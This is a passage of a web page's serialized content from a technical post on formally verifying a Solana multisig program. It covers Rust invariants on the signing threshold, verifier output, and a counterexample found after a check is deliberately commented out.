4493],{"type":28,"value":1737},{"type":23,"tag":41,"props":24495,"children":24496},{"style":170},[24497],{"type":28,"value":9589},{"type":23,"tag":41,"props":24499,"children":24500},{"style":70},[24501],{"type":28,"value":23987},{"type":23,"tag":41,"props":24503,"children":24504},{"style":170},[24505],{"type":28,"value":9589},{"type":23,"tag":41,"props":24507,"children":24508},{"style":70},[24509],{"type":28,"value":9594},{"type":23,"tag":24,"props":24511,"children":24512},{},[24513],{"type":28,"value":24514},"And now we get:",{"type":23,"tag":31,"props":24516,"children":24518},{"code":24517},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[24519],{"type":23,"tag":37,"props":24520,"children":24521},{"__ignoreMap":7},[24522],{"type":28,"value":24517},{"type":23,"tag":24,"props":24524,"children":24525},{},[24526],{"type":28,"value":24527},"🥳🥳🥳",{"type":23,"tag":24,"props":24529,"children":24530},{},[24531],{"type":28,"value":24532},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":31,"props":24534,"children":24536},{"code":24535,"language":2981,"meta":7,"className":2982,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[24537],{"type":23,"tag":37,"props":24538,"children":24539},{"__ignoreMap":7},[24540,24563,24594],{"type":23,"tag":41,"props":24541,"children":24542},{"class":43,"line":44},[24543,24547,24551,24555,24559],{"type":23,"tag":41,"props":24544,"children":24545},{"style":58},[24546],{"type":28,"value":368},{"type":23,"tag":41,"props":24548,"children":24549},{"style":858},[24550],{"type":28,"value":23450},{"type":23,"tag":41,"props":24552,"children":24553},{"style":170},[24554],{"type":28,"value":758},{"type":23,"tag":41,"props":24556,"children":24557},{"style":164},[24558],{"type":28,"value":167},{"type":23,"tag":41,"props":24560,"children":24561},{"style":70},[24562],{"type":28,"value":102},{"type":23,"tag":41,"props":24564,"children":24565},{"class":43,"line":54},[24566,24570,24574,24578,24582,24586,24590],{"type":23,"tag":41,"props":24567,"children":24568},{"style":58},[24569],{"type":28,"value":1090},{"type":23,"tag":41,"props":24571,"children":24572},{"style":114},[24573],{"type":28,"value":23506},{"type":23,"tag":41,"props":24575,"children":24576},{"style":70},[24577],{"type":28,"value":1737},{"type":23,"tag":41,"props":24579,"children":24580},{"style":94},[24581],{"type":28,"value":23515},{"type":23,"tag":41,"props":24583,"children":24584},{"style":170},[24585],{"type":28,"value":3479},{"type":23,"tag":41,"props":24587,"children":24588},{"style":94},[24589],{"type":28,"value":23524},{"type":23,"tag":41,"props":24591,"children":24592},{"style":70},[24593],{"type":28,"value":3825},{"type":23,"tag":41,"props":24595,"children":24596},{"class":43,"line":76},[24597],{"type":23,"tag":41,"props":24598,"children":24599},{"style":70},[24600],{"type":28,"value":201},{"type":23,"tag":24,"props":24602,"children":24603},{},[24604,24606,24612,24614,24619,24621,24626,24628,24633],{"type":28,"value":24605},"In this case this is actually redundant because if ",{"type":23,"tag":37,"props":24607,"children":24609},{"className":24608},[],[24610],{"type":28,"value":24611},"members.len() == 0",{"type":28,"value":24613}," then our threshold would also have to be ",{"type":23,"tag":37,"props":24615,"children":24617},{"className":24616},[],[24618],{"type":28,"value":4024},{"type":28,"value":24620}," (and our ",{"type":23,"tag":37,"props":24622,"children":24624},{"className":24623},[],[24625],{"type":28,"value":22736},{"type":28,"value":24627}," is not allowed to be ",{"type":23,"tag":37,"props":24629,"children":24631},{"className":24630},[],[24632],{"type":28,"value":4024},{"type":28,"value":24634},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":546,"props":24636,"children":24638},{"id":24637},"_2-verify-threshold-requirements",[24639],{"type":28,"value":24640},"2. Verify threshold requirements",{"type":23,"tag":24,"props":24642,"children":24643},{},[24644],{"type":28,"value":24645},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":24,"props":24647,"children":24648},{},[24649,24651,24655],{"type":28,"value":24650},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":2913,"props":24652,"children":24653},{},[24654],{"type":28,"value":9298},{"type":28,"value":24656}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":24658,"children":24659},{},[24660,24662,24666,24668,24673],{"type":28,"value":24661},"In this case, we want to model this as an ",{"type":23,"tag":2913,"props":24663,"children":24664},{},[24665],{"type":28,"value":21764},{"type":28,"value":24667}," on the ",{"type":23,"tag":37,"props":24669,"children":24671},{"className":24670},[],[24672],{"type":28,"value":22728},{"type":28,"value":24674}," account struct:",{"type":23,"tag":31,"props":24676,"children":24678},{"code":24677,"language":2981,"meta":7,"className":2982,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[24679],{"type":23,"tag":37,"props":24680,"children":24681},{"__ignoreMap":7},[24682,24689,24714,24721,24745,24796,24803,24822,24849,24876,24903,24930,24957,24984,25011,25046],{"type":23,"tag":41,"props":24683,"children":24684},{"class":43,"line":44},[24685],{"type":23,"tag":41,"props":24686,"children":24687},{"style":70},[24688],{"type":28,"value":20757},{"type":23,"tag":41,"props":24690,"children":24691},{"class":43,"line":54},[24692,24696,24701,24705,24710],{"type":23,"tag":41,"props":24693,"children":24694},{"style":70},[24695],{"type":28,"value":22824},{"type":23,"tag":41,"props":24697,"children":24698},{"style":94},[24699],{"type":28,"value":24700},"Clone",{"type":23,"tag":41,"props":24702,"children":24703},{"style":70},[24704],{"type":28,"value":970},{"type":23,"tag":41,"props":24706,"children":24707},{"style":94},[24708],{"type":28,"value":24709},"Debug",{"type":23,"tag":41,"props":24711,"children":24712},{"style":70},[24713],{"type":28,"value":20247},{"type":23,"tag":41,"props":24715,"children":24716},{"class":43,"line":76},[24717],{"type":23,"tag":41,"props":24718,"children":24719},{"style":70},[24720],{"type":28,"value":20765},{"type":23,"tag":41,"props":24722,"children":24723},{"class":43,"line":85},[24724,24729,24733,24737,24741],{"type":23,"tag":41,"props":24725,"children":24726},{"style":70},[24727],{"type":28,"value":24728},"    (self",{"type":23,"tag":41,"props":24730,"children":24731},{"style":170},[24732],{"type":28,"value":706},{"type":23,"tag":41,"props":24734,"children":24735},{"style":70},[24736],{"type":28,"value":21058},{"type":23,"tag":41,"props":24738,"children":24739},{"style":170},[24740],{"type":28,"value":9941},{"type":23,"tag":41,"props":24742,"children":24743},{"style":70},[24744],{"type":28,"value":21067},{"type":23,"tag":41,"props":24746,"children":24747},{"class":43,"line":105},[24748,24752,24756,24760,24764,24768,24772,24776,24780,24784,24788,24792],{"type":23,"tag":41,"props":24749,"children":24750},{"style":170},[24751],{"type":28,"value":15612},{"type":23,"tag":41,"props":24753,"children":24754},{"style":70},[24755],{"type":28,"value":20991},{"type":23,"tag":41,"props":24757,"children":24758},{"style":170},[24759],{"type":28,"value":706},{"type":23,"tag":41,"props":24761,"children":24762},{"style":70},[24763],{"type":28,"value":21058},{"type":23,"tag":41,"props":24765,"children":24766},{"style":64},[24767],{"type":28,"value":8838},{"type":23,"tag":41,"props":24769,"children":24770},{"style":94},[24771],{"type":28,"value":13726},{"type":23,"tag":41,"props":24773,"children":24774},{"style":170},[24775],{"type":28,"value":8196},{"type":23,"tag":41,"props":24777,"children":24778},{"style":70},[24779],{"type":28,"value":13791},{"type":23,"tag":41,"props":24781,"children":24782},{"style":170},[24783],{"type":28,"value":706},{"type":23,"tag":41,"props":24785,"children":24786},{"style":70},[24787],{"type":28,"value":20970},{"type":23,"tag":41,"props":24789,"children":24790},{"style":170},[24791],{"type":28,"value":706},{"type":23,"tag":41,"props":24793,"children":24794},{"style":70},[24795],{"type":28,"value":21119},{"type":23,"tag":41,"props":24797,"children":24798},{"class":43,"line":155},[24799],{"type":23,"tag":41,"props":24800,"children":24801},{"style":70},[24802],{"type":28,"value":20247},{"type":23,"tag":41,"props":24804,"children":24805},{"class":43,"line":186},[24806,24810,24814,24818],{"type":23,"tag":41,"props":24807,"children":24808},{"style":64},[24809],{"type":28,"value":13685},{"type":23,"tag":41,"props":24811,"children":24812},{"style":64},[24813],{"type":28,"value":21138},{"type":23,"tag":41,"props":24815,"children":24816},{"style":94},[24817],{"type":28,"value":21143},{"type":23,"tag":41,"props":24819,"children":24820},{"style":70},[24821],{"type":28,"value":102},{"type":23,"tag":41,"props":24823,"children":24824},{"class":43,"line":195},[24825,24829,24833,24837,24841,24845],{"type":23,"tag":41,"props":24826,"children":24827},{"style":64},[24828],{"type":28,"value":20830},{"type":23,"tag":41,"props":24830,"children":24831},{"style":858},[24832],{"type":28,"value":21159},{"type":23,"tag":41,"props":24834,"children":24835},{"style":170},[24836],{"type":28,"value":1474},{"type":23,"tag":41,"props":24838,"children":24839},{"style":94},[24840],{"type":28,"value":21017},{"type":23,"tag":41,"props":24842,"children":24843},{"style":70},[24844],{"type":28,"value":21172},{"type":23,"tag":41,"props":24846,"children":24847},{"style":48},[24848],{"type":28,"value":21177},{"type":23,"tag":41,"props":24850,"children":24851},{"class":43,"line":905},[24852,24856,24860,24864,24868,24872],{"type":23,"tag":41,"props":24853,"children":24854},{"style":64},[24855],{"type":28,"value":20830},{"type":23,"tag":41,"props":24857,"children":24858},{"style":858},[24859],{"type":28,"value":21189},{"type":23,"tag":41,"props":24861,"children":24862},{"style":170},[24863],{"type":28,"value":1474},{"type":23,"tag":41,"props":24865,"children":24866},{"style":94},[24867],{"type":28,"value":21017},{"type":23,"tag":41,"props":24869,"children":24870},{"style":70},[24871],{"type":28,"value":21202},{"type":23,"tag":41,"props":24873,"children":24874},{"style":48},[24875],{"type":28,"value":21207},{"type":23,"tag":41,"props":24877,"children":24878},{"class":43,"line":922},[24879,24883,24887,24891,24895,24899],{"type":23,"tag":41,"props":24880,"children":24881},{"style":64},[24882],{"type":28,"value":20830},{"type":23,"tag":41,"props":24884,"children":24885},{"style":858},[24886],{"type":28,"value":21219},{"type":23,"tag":41,"props":24888,"children":24889},{"style":170},[24890],{"type":28,"value":1474},{"type":23,"tag":41,"props":24892,"children":24893},{"style":94},[24894],{"type":28,"value":17536},{"type":23,"tag":41,"props":24896,"children":24897},{"style":70},[24898],{"type":28,"value":21232},{"type":23,"tag":41,"props":24900,"children":24901},{"style":48},[24902],{"type":28,"value":21237},{"type":23,"tag":41,"props":24904,"children":24905},{"class":43,"line":930},[24906,24910,24914,24918,24922,24926],{"type":23,"tag":41,"props":24907,"children":24908},{"style":64},[24909],{"type":28,"value":20830},{"type":23,"tag":41,"props":24911,"children":24912},{"style":858},[24913],{"type":28,"value":21249},{"type":23,"tag":41,"props":24915,"children":24916},{"style":170},[24917],{"type":28,"value":1474},{"type":23,"tag":41,"props":24919,"children":24920},{"style":94},[24921],{"type":28,"value":17536},{"type":23,"tag":41,"props":24923,"children":24924},{"style":70},[24925],{"type":28,"value":21202},{"type":23,"tag":41,"props":24927,"children":24928},{"style":48},[24929],{"type":28,"value":21266},{"type":23,"tag":41,"props":24931,"children":24932},{"class":43,"line":939},[24933,24937,24941,24945,24949,24953],{"type":23,"tag":41,"props":24934,"children":24935},{"style":64},[24936],{"type":28,"value":20830},{"type":23,"tag":41,"props":24938,"children":24939},{"style":858},[24940],{"type":28,"value":21278},{"type":23,"tag":41,"props":24942,"children":24943},{"style":170},[24944],{"type":28,"value":1474},{"type":23,"tag":41,"props":24946,"children":24947},{"style":94},[24948],{"type":28,"value":14626},{"type":23,"tag":41,"props":24950,"children":24951},{"style":70},[24952],{"type":28,"value":21291},{"type":23,"tag":41,"props":24954,"children":24955},{"style":48},[24956],{"type":28,"value":21296},{"type":23,"tag":41,"props":24958,"children":24959},{"class":43,"line":947},[24960,24964,24968,24972,24976,24980],{"type":23,"tag":41,"props":24961,"children":24962},{"style":64},[24963],{"type":28,"value":20830},{"type":23,"tag":41,"props":24965,"children":24966},{"style":858},[24967],{"type":28,"value":21308},{"type":23,"tag":41,"props":24969,"children":24970},{"style":170},[24971],{"type":28,"value":1474},{"type":23,"tag":41,"props":24973,"children":24974},{"style":94},[24975],{"type":28,"value":20844},{"type":23,"tag":41,"props":24977,"children":24978},{"style":70},[24979],{"type":28,"value":21321},{"type":23,"tag":41,"props":24981,"children":24982},{"style":48},[24983],{"type":28,"value":21326},{"type":23,"tag":41,"props":24985,"children":24986},{"class":43,"line":985},[24987,24991,24995,24999,25003,25007],{"type":23,"tag":41,"props":24988,"children":24989},{"style":64},[24990],{"type":28,"value":20830},{"type":23,"tag":41,"props":24992,"children":24993},{"style":858},[24994],{"type":28,"value":21338},{"type":23,"tag":41,"props":24996,"children":24997},{"style":170},[24998],{"type":28,"value":1474},{"type":23,"tag":41,"props":25000,"children":25001},{"style":94},[25002],{"type":28,"value":12047},{"type":23,"tag":41,"props":25004,"children":25005},{"style":70},[25006],{"type":28,"value":970},{"type":23,"tag":41,"props":25008,"children":25009},{"style":48},[25010],{"type":28,"value":21355},{"type":23,"tag":41,"props":25012,"children":25013},{"class":43,"line":1058},[25014,25018,25022,25026,25030,25034,25038,25042],{"type":23,"tag":41,"props":25015,"children":25016},{"style":64},[25017],{"type":28,"value":20830},{"type":23,"tag":41,"props":25019,"children":25020},{"style":858},[25021],{"type":28,"value":21367},{"type":23,"tag":41,"props":25023,"children":25024},{"style":170},[25025],{"type":28,"value":1474},{"type":23,"tag":41,"props":25027,"children":25028},{"style":94},[25029],{"type":28,"value":21376},{"type":23,"tag":41,"props":25031,"children":25032},{"style":70},[25033],{"type":28,"value":1012},{"type":23,"tag":41,"props":25035,"children":25036},{"style":94},[25037],{"type":28,"value":21385},{"type":23,"tag":41,"props":25039,"children":25040},{"style":70},[25041],{"type":28,"value":21390},{"type":23,"tag":41,"props":25043,"children":25044},{"style":48},[25045],{"type":28,"value":21395},{"type":23,"tag":41,"props":25047,"children":25048},{"class":43,"line":1084},[25049],{"type":23,"tag":41,"props":25050,"children":25051},{"style":70},[25052],{"type":28,"value":201},{"type":23,"tag":24,"props":25054,"children":25055},{},[25056,25058,25063],{"type":28,"value":25057},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":37,"props":25059,"children":25061},{"className":25060},[],[25062],{"type":28,"value":22728},{"type":28,"value":25064}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":25066,"children":25067},{},[25068,25070,25075],{"type":28,"value":25069},"Let's try this on the ",{"type":23,"tag":37,"props":25071,"children":25073},{"className":25072},[],[25074],{"type":28,"value":22807},{"type":28,"value":25076}," instruction that we've already seen:",{"type":23,"tag":31,"props":25078,"children":25080},{"code":25079},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[25081],{"type":23,"tag":37,"props":25082,"children":25083},{"__ignoreMap":7},[25084],{"type":28,"value":25079},{"type":23,"tag":24,"props":25086,"children":25087},{},[25088,25090,25095],{"type":28,"value":25089},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":37,"props":25091,"children":25093},{"className":25092},[],[25094],{"type":28,"value":22807},{"type":28,"value":1474},{"type":23,"tag":31,"props":25097,"children":25099},{"code":25098,"language":2981,"meta":7,"className":2982,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[25100],{"type":23,"tag":37,"props":25101,"children":25102},{"__ignoreMap":7},[25103,25111,25119],{"type":23,"tag":41,"props":25104,"children":25105},{"class":43,"line":44},[25106],{"type":23,"tag":41,"props":25107,"children":25108},{"style":48},[25109],{"type":28,"value":25110},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":41,"props":25112,"children":25113},{"class":43,"line":54},[25114],{"type":23,"tag":41,"props":25115,"children":25116},{"style":48},[25117],{"type":28,"value":25118},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":41,"props":25120,"children":25121},{"class":43,"line":76},[25122],{"type":23,"tag":41,"props":25123,"children":25124},{"style":48},[25125],{"type":28,"value":25126},"// }\n",{"type":23,"tag":24,"props":25128,"children":25129},{},[25130],{"type":28,"value":25131},"And run again:",{"type":23,"tag":31,"props":25133,"children":25135},{"code":25134},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[25136],{"type":23,"tag":37,"props":25137,"children":25138},{"__ignoreMap":7},[25139],{"type":28,"value":25134},{"type":23,"tag":24,"props":25141,"children":25142},{},[25143],{"type":28,"value":25144},"We get the following counterexample:",{"type":23,"tag":31,"props":25146,"children":25148},{"code":25147,"language":2981,"meta":7,"className":2982,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[25149],{"type":23,"tag":37,"props":25150,"children":25151},{"__ignoreMap":7},[25152,25163,25183,25203,25223,25243,25263,25283,25303,25323,25344,25365,25373,25381,25411],{"type":23,"tag":41,"props":25153,"children":25154},{"class":43,"line":44},[25155,25159],{"type":23,"tag":41,"props":25156,"children":25157},{"style":94},[25158],{"type":28,"value":17132},{"type":23,"tag":41,"props":25160,"children":25161},{"style":70},[25162],{"type":28,"value":102},{"type":23,"tag":41,"props":25164,"children":25165},{"class":43,"line":54},[25166,25171,25175,25179],{"type":23,"tag":41,"props":25167,"children":25168},{"style":858},[25169],{"type":28,"value":25170},"    account",{"type":23,"tag":41,"props":25172,"children":25173},{"style":170},[25174],{"type":28,"value":1474},{"type":23,"tag":41,"props":25176,"children":25177},{"style":94},[25178],{"type":28,"value":21143},{"type":23,"tag":41,"props":25180,"children":25181},{"style":70},[25182],{"type":28,"value":102},{"type":23,"tag":41,"props":25184,"children":25185},{"class":43,"line":76},[25186,25190,25194,25199],{"type":23,"tag":41,"props":25187,"children":25188},{"style":858},[25189],{"type":28,"value":23824},{"type":23,"tag":41,"props":25191,"children":25192},{"style":170},[25193],{"type":28,"value":1474},{"type":23,"tag":41,"props":25195,"children":25196},{"style":164},[25197],{"type":28,"value":25198}," 32768",{"type":23,"tag":41,"props":25200,"children":25201},{"style":70},[25202],{"type":28,"value":3506},{"type":23,"tag":41,"props":25204,"children":25205},{"class":43,"line":85},[25206,25211,25215,25219],{"type":23,"tag":41,"props":25207,"children":25208},{"style":858},[25209],{"type":28,"value":25210},"        authority_index",{"type":23,"tag":41,"props":25212,"children":25213},{"style":170},[25214],{"type":28,"value":1474},{"type":23,"tag":41,"props":25216,"children":25217},{"style":164},[25218],{"type":28,"value":167},{"type":23,"tag":41,"props":25220,"children":25221},{"style":70},[25222],{"type":28,"value":3506},{"type":23,"tag":41,"props":25224,"children":25225},{"class":43,"line":105},[25226,25231,25235,25239],{"type":23,"tag":41,"props":25227,"children":25228},{"style":858},[25229],{"type":28,"value":25230},"        transaction_index",{"type":23,"tag":41,"props":25232,"children":25233},{"style":170},[25234],{"type":28,"value":1474},{"type":23,"tag":41,"props":25236,"children":25237},{"style":164},[25238],{"type":28,"value":392},{"type":23,"tag":41,"props":25240,"children":25241},{"style":70},[25242],{"type":28,"value":3506},{"type":23,"tag":41,"props":25244,"children":25245},{"class":43,"line":155},[25246,25251,25255,25259],{"type":23,"tag":41,"props":25247,"children":25248},{"style":858},[25249],{"type":28,"value":25250},"        ms_change_index",{"type":23,"tag":41,"props":25252,"children":25253},{"style":170},[25254],{"type":28,"value":1474},{"type":23,"tag":41,"props":25256,"children":25257},{"style":164},[25258],{"type":28,"value":392},{"type":23,"tag":41,"props":25260,"children":25261},{"style":70},[25262],{"type":28,"value":3506},{"type":23,"tag":41,"props":25264,"children":25265},{"class":43,"line":186},[25266,25271,25275,25279],{"type":23,"tag":41,"props":25267,"children":25268},{"style":858},[25269],{"type":28,"value":25270},"        bump",{"type":23,"tag":41,"props":25272,"children":25273},{"style":170},[25274],{"type":28,"value":1474},{"type":23,"tag":41,"props":25276,"children":25277},{"style":164},[25278],{"type":28,"value":392},{"type":23,"tag":41,"props":25280,"children":25281},{"style":70},[25282],{"type":28,"value":3506},{"type":23,"tag":41,"props":25284,"children":25285},{"class":43,"line":195},[25286,25290,25294,25299],{"type":23,"tag":41,"props":25287,"children":25288},{"style":858},[25289],{"type":28,"value":23837},{"type":23,"tag":41,"props":25291,"children":25292},{"style":170},[25293],{"type":28,"value":1474},{"type":23,"tag":41,"props":25295,"children":25296},{"style":170},[25297],{"type":28,"value":25298}," ...",{"type":23,"tag":41,"props":25300,"children":25301},{"style":70},[25302],{"type":28,"value":3506},{"type":23,"tag":41,"props":25304,"children":25305},{"class":43,"line":905},[25306,25311,25315,25319],{"type":23,"tag":41,"props":25307,"children":25308},{"style":858},[25309],{"type":28,"value":25310},"        allow_external_execute",{"type":23,"tag":41,"props":25312,"children":25313},{"style":170},[25314],{"type":28,"value":1474},{"type":23,"tag":41,"props":25316,"children":25317},{"style":64},[25318],{"type":28,"value":1095},{"type":23,"tag":41,"props":25320,"children":25321},{"style":70},[25322],{"type":28,"value":3506},{"type":23,"tag":41,"props":25324,"children":25325},{"class":43,"line":922},[25326,25331,25335,25340],{"type":23,"tag":41,"props":25327,"children":25328},{"style":858},[25329],{"type":28,"value":25330},"        keys",{"type":23,"tag":41,"props":25332,"children":25333},{"style":170},[25334],{"type":28,"value":1474},{"type":23,"tag":41,"props":25336,"children":25337},{"style":94},[25338],{"type":28,"value":25339}," SparseVec",{"type":23,"tag":41,"props":25341,"children":25342},{"style":70},[25343],{"type":28,"value":102},{"type":23,"tag":41,"props":25345,"children":25346},{"class":43,"line":930},[25347,25352,25356,25361],{"type":23,"tag":41,"props":25348,"children":25349},{"style":858},[25350],{"type":28,"value":25351},"            size",{"type":23,"tag":41,"props":25353,"children":25354},{"style":170},[25355],{"type":28,"value":1474},{"type":23,"tag":41,"props":25357,"children":25358},{"style":164},[25359],{"type":28,"value":25360}," 5112",{"type":23,"tag":41,"props":25362,"children":25363},{"style":70},[25364],{"type":28,"value":3506},{"type":23,"tag":41,"props":25366,"children":25367},{"class":43,"line":939},[25368],{"type":23,"tag":41,"props":25369,"children":25370},{"style":70},[25371],{"type":28,"value":25372},"        },\n",{"type":23,"tag":41,"props":25374,"children":25375},{"class":43,"line":947},[25376],{"type":23,"tag":41,"props":25377,"children":25378},{"style":70},[25379],{"type":28,"value":25380},"    },\n",{"type":23,"tag":41,"props":25382,"children":25383},{"class":43,"line":985},[25384,25389,25393,25398,25402,25406],{"type":23,"tag":41,"props":25385,"children":25386},{"style":858},[25387],{"type":28,"value":25388},"    info",{"type":23,"tag":41,"props":25390,"children":25391},{"style":170},[25392],{"type":28,"value":1474},{"type":23,"tag":41,"props":25394,"children":25395},{"style":94},[25396],{"type":28,"value":25397}," AccountInfo",{"type":23,"tag":41,"props":25399,"children":25400},{"style":70},[25401],{"type":28,"value":9584},{"type":23,"tag":41,"props":25403,"children":25404},{"style":170},[25405],{"type":28,"value":9589},{"type":23,"tag":41,"props":25407,"children":25408},{"style":70},[25409],{"type":28,"value":25410}," },\n",{"type":23,"tag":41,"props":25412,"children":25413},{"class":43,"line":1058},[25414],{"type":23,"tag":41,"props":25415,"children":25416},{"style":70},[25417],{"type":28,"value":201},{"type":23,"tag":24,"props":25419,"children":25420},{},[25421,25423,25428,25430,25435],{"type":28,"value":25422},"Here we see that the ",{"type":23,"tag":37,"props":25424,"children":25426},{"className":25425},[],[25427],{"type":28,"value":22736},{"type":28,"value":25429}," of the newly created ",{"type":23,"tag":37,"props":25431,"children":25433},{"className":25432},[],[25434],{"type":28,"value":22728},{"type":28,"value":25436}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":546,"props":25438,"children":25440},{"id":25439},"verify-requirements-to-remove-a-member",[25441],{"type":28,"value":22766},{"type":23,"tag":24,"props":25443,"children":25444},{},[25445,25447,25452,25453,25458,25460,25466],{"type":28,"value":25446},"Now that we've seen both ",{"type":23,"tag":37,"props":25448,"children":25450},{"className":25449},[],[25451],{"type":28,"value":20143},{"type":28,"value":1361},{"type":23,"tag":37,"props":25454,"children":25456},{"className":25455},[],[25457],{"type":28,"value":21764},{"type":28,"value":25459}," let's take a look at the ",{"type":23,"tag":37,"props":25461,"children":25463},{"className":25462},[],[25464],{"type":28,"value":25465},"remove_member",{"type":28,"value":25467}," function:",{"type":23,"tag":31,"props":25469,"children":25471},{"code":25470,"language":2981,"meta":7,"className":2982,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[25472],{"type":23,"tag":37,"props":25473,"children":25474},{"__ignoreMap":7},[25475,25498,25526,25541,25586,25593,25605,25621,25633,25659,25667,25696,25703,25735,25742,25749,25823,25831,25891,25923,25930,25981,25988,25996,26089,26178,26232,26239,26284,26329],{"type":23,"tag":41,"props":25476,"children":25477},{"class":43,"line":44},[25478,25482,25486,25490,25494],{"type":23,"tag":41,"props":25479,"children":25480},{"style":70},[25481],{"type":28,"value":22824},{"type":23,"tag":41,"props":25483,"children":25484},{"style":94},[25485],{"type":28,"value":22829},{"type":23,"tag":41,"props":25487,"children":25488},{"style":70},[25489],{"type":28,"value":970},{"type":23,"tag":41,"props":25491,"children":25492},{"style":94},[25493],{"type":28,"value":24709},{"type":23,"tag":41,"props":25495,"children":25496},{"style":70},[25497],{"type":28,"value":20247},{"type":23,"tag":41,"props":25499,"children":25500},{"class":43,"line":54},[25501,25505,25509,25514,25518,25522],{"type":23,"tag":41,"props":25502,"children":25503},{"style":64},[25504],{"type":28,"value":13685},{"type":23,"tag":41,"props":25506,"children":25507},{"style":64},[25508],{"type":28,"value":21138},{"type":23,"tag":41,"props":25510,"children":25511},{"style":94},[25512],{"type":28,"value":25513}," MsAuth",{"type":23,"tag":41,"props":25515,"children":25516},{"style":70},[25517],{"type":28,"value":22909},{"type":23,"tag":41,"props":25519,"children":25520},{"style":94},[25521],{"type":28,"value":22914},{"type":23,"tag":41,"props":25523,"children":25524},{"style":70},[25525],{"type":28,"value":7280},{"type":23,"tag":41,"props":25527,"children":25528},{"class":43,"line":76},[25529,25533,25537],{"type":23,"tag":41,"props":25530,"children":25531},{"style":70},[25532],{"type":28,"value":23116},{"type":23,"tag":41,"props":25534,"children":25535},{"style":64},[25536],{"type":28,"value":3723},{"type":23,"tag":41,"props":25538,"children":25539},{"style":70},[25540],{"type":28,"value":20247},{"type":23,"tag":41,"props":25542,"children":25543},{"class":43,"line":85},[25544,25549,25553,25558,25562,25566,25570,25574,25578,25582],{"type":23,"tag":41,"props":25545,"children":25546},{"style":858},[25547],{"type":28,"value":25548},"    multisig",{"type":23,"tag":41,"props":25550,"children":25551},{"style":170},[25552],{"type":28,"value":1474},{"type":23,"tag":41,"props":25554,"children":25555},{"style":94},[25556],{"type":28,"value":25557}," Box",{"type":23,"tag":41,"props":25559,"children":25560},{"style":70},[25561],{"type":28,"value":1012},{"type":23,"tag":41,"props":25563,"children":25564},{"style":94},[25565],{"type":28,"value":17132},{"type":23,"tag":41,"props":25567,"children":25568},{"style":70},[25569],{"type":28,"value":22909},{"type":23,"tag":41,"props":25571,"children":25572},{"style":94},[25573],{"type":28,"value":22914},{"type":23,"tag":41,"props":25575,"children":25576},{"style":70},[25577],{"type":28,"value":970},{"type":23,"tag":41,"props":25579,"children":25580},{"style":94},[25581],{"type":28,"value":22728},{"type":23,"tag":41,"props":25583,"children":25584},{"style":70},[25585],{"type":28,"value":6950},{"type":23,"tag":41,"props":25587,"children":25588},{"class":43,"line":105},[25589],{"type":23,"tag":41,"props":25590,"children":25591},{"style":70},[25592],{"type":28,"value":22926},{"type":23,"tag":41,"props":25594,"children":25595},{"class":43,"line":155},[25596,25601],{"type":23,"tag":41,"props":25597,"children":25598},{"style":64},[25599],{"type":28,"value":25600},"        mut",{"type":23,"tag":41,"props":25602,"children":25603},{"style":70},[25604],{"type":28,"value":3506},{"type":23,"tag":41,"props":25606,"children":25607},{"class":43,"line":186},[25608,25612,25616],{"type":23,"tag":41,"props":25609,"children":25610},{"style":70},[25611],{"type":28,"value":23010},{"type":23,"tag":41,"props":25613,"children":25614},{"style":170},[25615],{"type":28,"value":2381},{"type":23,"tag":41,"props":25617,"children":25618},{"style":70},[25619],{"type":28,"value":25620}," 